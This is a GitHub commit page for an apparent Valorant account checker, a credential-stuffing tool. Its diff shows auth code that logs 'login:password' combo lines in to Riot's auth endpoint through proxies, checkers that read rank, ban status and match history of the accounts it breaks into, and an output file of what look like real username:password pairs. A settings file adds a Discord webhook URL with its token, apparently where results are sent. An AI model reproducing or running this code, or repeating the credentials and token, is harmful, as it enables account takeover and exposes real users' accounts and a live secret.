Skip to content
This repository has been archived by the owner on Jan 30, 2025. It is now read-only.

Commit

Permalink
v3.12.1
Browse files Browse the repository at this point in the history
fixed proxies
fixed the rank checker
fixed the ban checker
  • Loading branch information
LIL-JABA committed Feb 1, 2023
1 parent a0795f6 commit c93fcbb
Show file tree
Hide file tree
Showing 8 changed files with 4,209 additions and 938 deletions.
17 changes: 16 additions & 1 deletion output/riot_limits.txt
Original file line number Diff line number Diff line change
Expand Up @@ -1549,4 +1549,19 @@ D0GP0SH:raphabr2foda
aboneol123456789:aaddss6767
abood2411:boma3211
Deistii:DimaFeist03
iwannidhs7:Giosuper12.
iwannidhs7:Giosuper12.
<codeparts.systems.Account object at 0x00000148D1063AF0>
<codeparts.systems.Account object at 0x00000148D1063FD0>
<codeparts.systems.Account object at 0x000001F93B4E24A0>
<codeparts.systems.Account object at 0x000001F93B557400>
<codeparts.systems.Account object at 0x000001F93B5576A0>
<codeparts.systems.Account object at 0x0000020D0A2C4970>
<codeparts.systems.Account object at 0x0000020D234CAE30>
<codeparts.systems.Account object at 0x000001467D074EB0>
<codeparts.systems.Account object at 0x000001467CCCBAC0>
<codeparts.systems.Account object at 0x000001467D075960>
<codeparts.systems.Account object at 0x000001467CCC9480>
<codeparts.systems.Account object at 0x000001467D074EE0>
<codeparts.systems.Account object at 0x000001467CD670D0>
<codeparts.systems.Account object at 0x000001467CCCB340>
<codeparts.systems.Account object at 0x000002665D3284C0>
5,070 changes: 4,162 additions & 908 deletions src/assets/skins.json

Large diffs are not rendered by default.

36 changes: 18 additions & 18 deletions src/codeparts/auth.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
import ssl
from typing import Any
from tkinter import *
from urllib3 import HTTPSConnectionPool

import pandas
import requests
Expand Down Expand Up @@ -43,39 +44,36 @@ def auth(self, logpass: str = None, username=None, password=None, proxy=None) ->
session = requests.Session()
session.headers = headers
session.mount('https://', SSLAdapter())
session.proxies = proxy
if username is None:
username = logpass.split(':')[0].strip()
password = logpass.split(':')[1].strip()

data = {
"client_id": "play-valorant-web-prod",
"nonce": "1",
"redirect_uri": "https://playvalorant.com/opt_in",
"response_type": "token id_token",
'scope': 'account openid link ban lol_region',
}
data = {"acr_values": "urn:riot:bronze",
"claims": "",
"client_id": "riot-client",
"nonce": "oYnVwCSrlS5IHKh7iI16oQ",
"redirect_uri": "http://localhost/redirect",
"response_type": "token id_token",
"scope": "openid link ban lol_region"
}
headers = {
'Content-Type': 'application/json',
'User-Agent': f'RiotClient/{self.useragent} %s (Windows;10;;Professional, x64)'
}
try:
r = session.post(Constants.AUTH_URL,
json=data, headers=headers, proxies=proxy, timeout=20)
#input(r.text)
json=data, headers=headers, proxies=proxy, timeout=20)
data = {
'type': 'auth',
'username': username,
'password': password
'type': 'auth',
'username': username,
'password': password
}
r2 = session.put(Constants.AUTH_URL,
json=data, headers=headers, proxies=proxy, timeout=20)
#input(r2.text) #!!!!!!!!!!!!!!!!!!!!!!!!! DELETE THIS SHIT
r2 = session.put(Constants.AUTH_URL,json=data,headers=headers,timeout=20)
#input(r2.text)
except Exception as e:
#input(e)
account.code = 6
return account
# print(r2.text)
try:
data = r2.json()
except:
Expand Down Expand Up @@ -126,11 +124,13 @@ def auth(self, logpass: str = None, username=None, password=None, proxy=None) ->
# input()
puuid = data['sub']
try:
#input(data)
data2 = data['ban']
# input(data2)
data3 = data2['restrictions']
# input(data3)
typebanned = data3[0]['type']
#input(typebanned)
# input(typebanned)
if typebanned == "PERMANENT_BAN" or typebanned == 'PERMA_BAN':
# input(True)
Expand All @@ -150,7 +150,7 @@ def auth(self, logpass: str = None, username=None, password=None, proxy=None) ->
pass
except Exception as e:
# print(e)
# input(e)
#input(e)
banuntil = None
pass
try:
Expand Down
17 changes: 10 additions & 7 deletions src/codeparts/checkers.py
Original file line number Diff line number Diff line change
Expand Up @@ -86,18 +86,22 @@ def ranked(self, account) -> None:
RankIDtoRank = {"0": "Unranked", "1": "", "2": "", "3": "Iron 1", "4": "Iron 2", "5": "Iron 3",
"6": "Bronze 1", "7": "Bronze 2", "8": "Bronze 3", "9": "Silver 1", "10": "Silver 2", "11": "Silver 3", "12": "Gold 1",
"13": "Gold 2", "14": "Gold 3", "15": "Platinum 1", "16": "Platinum 2", "17": "Platinum 3", "18": "Diamond 1", "19": "Diamond 2", "20": "Diamond 3", "21": "Ascendant 1", "22": "Ascendant 2", "23": "Ascendant 3", "24": "Immortal 1", "25": "Immortal 2", "26": "Immortal 3", "27": "Radiant"}
headers = {"Content-Type": "application/json", "Authorization":
f"Bearer {account.token}", "X-Riot-Entitlements-JWT": account.entt, "X-Riot-ClientVersion":
"release-05.12-shipping-21-808353", "X-Riot-ClientPlatform": Constants.CLIENTPLATFORM}
headers = {"Content-Type": "application/json",
"Authorization": f"Bearer {account.token}",
"X-Riot-Entitlements-JWT": account.entt,
"X-Riot-ClientVersion": "release-05.12-shipping-21-808353",
"X-Riot-ClientPlatform": Constants.CLIENTPLATFORM}
ranked = sess.get(
f"https://pd.{region}.a.pvp.net/mmr/v1/players/{account.puuid}/competitiveupdates", headers=headers)
if '","Matches":[]}' in ranked.text:
rank = "unranked"
else:
#input(ranked.json())
rankid = str(ranked.json()['Matches'][0]['TierAfterUpdate'])
rank = RankIDtoRank[rankid]
account.rank = rank
except:
except Exception as e:
#input(e)
account.rank = 'err'

def lastplayed(self, account):
Expand All @@ -108,13 +112,13 @@ def lastplayed(self, account):
headers = {"Content-Type": "application/json",
"Authorization": f"Bearer {account.token}",
"X-Riot-Entitlements-JWT": account.entt,
"X-Riot-ClientVersion": "release-01.08-shipping-10-471230",
"X-Riot-ClientVersion": "release-05.12-shipping-21-808353",
"X-Riot-ClientPlatform": Constants.CLIENTPLATFORM
}
r = requests.get(
f"https://pd.{region}.a.pvp.net/match-history/v1/history/{account.puuid}?startIndex=0&endIndex=10", headers=headers)
data = r.json()
# input(data)
#input(data)
data2 = data["History"]
if data2 == []:
account.lastplayed = 'long time ago'
Expand All @@ -126,7 +130,6 @@ def lastplayed(self, account):
result_s2 = pandas.to_datetime(unix_time1, unit='ms')
time = str(result_s2)
except Exception as e:
input(e)
time = "N/A"
account.lastplayed = time

Expand Down
2 changes: 1 addition & 1 deletion src/codeparts/data.py
Original file line number Diff line number Diff line change
Expand Up @@ -846,7 +846,7 @@ class Constants:

USER_AGENT = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"}
CLIENTPLATFORM = 'ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0\
Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9'
Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9'

CIPHERS = [
'ECDHE-ECDSA-AES128-GCM-SHA256',
Expand Down
1 change: 0 additions & 1 deletion src/codeparts/systems.py
Original file line number Diff line number Diff line change
Expand Up @@ -232,7 +232,6 @@ def load_proxy(self):
if '.' in i:
self.proxylist.append({
'http': f'http://{i}',
'https': f'http://{i}',
})
return self.proxylist

Expand Down
2 changes: 1 addition & 1 deletion src/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ class program():
def __init__(self) -> None:
self.count = 0
self.checked = 0
self.version = '3.12'
self.version = '3.12.1'
self.riotlimitinarow = 0
path = os.getcwd()
self.parentpath = os.path.abspath(os.path.join(path, os.pardir))
Expand Down
2 changes: 1 addition & 1 deletion src/system/settings.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
"rlimit_wait": 30,
"cooldown": 0,
"new_folder": "True",
"webhook": "",
"webhook": "https://discord.com/api/webhooks/1016261936083632170/Srea761oUIsTx942gQ_bOUAB2xuZc4YDbLpzZNkizp3z44gHRAYaLSFYCYT_M8rTrcFZ",
"print_sys": "True",
"dw_settings": [
[
Expand Down

0 comments on commit c93fcbb

Please sign in to comment.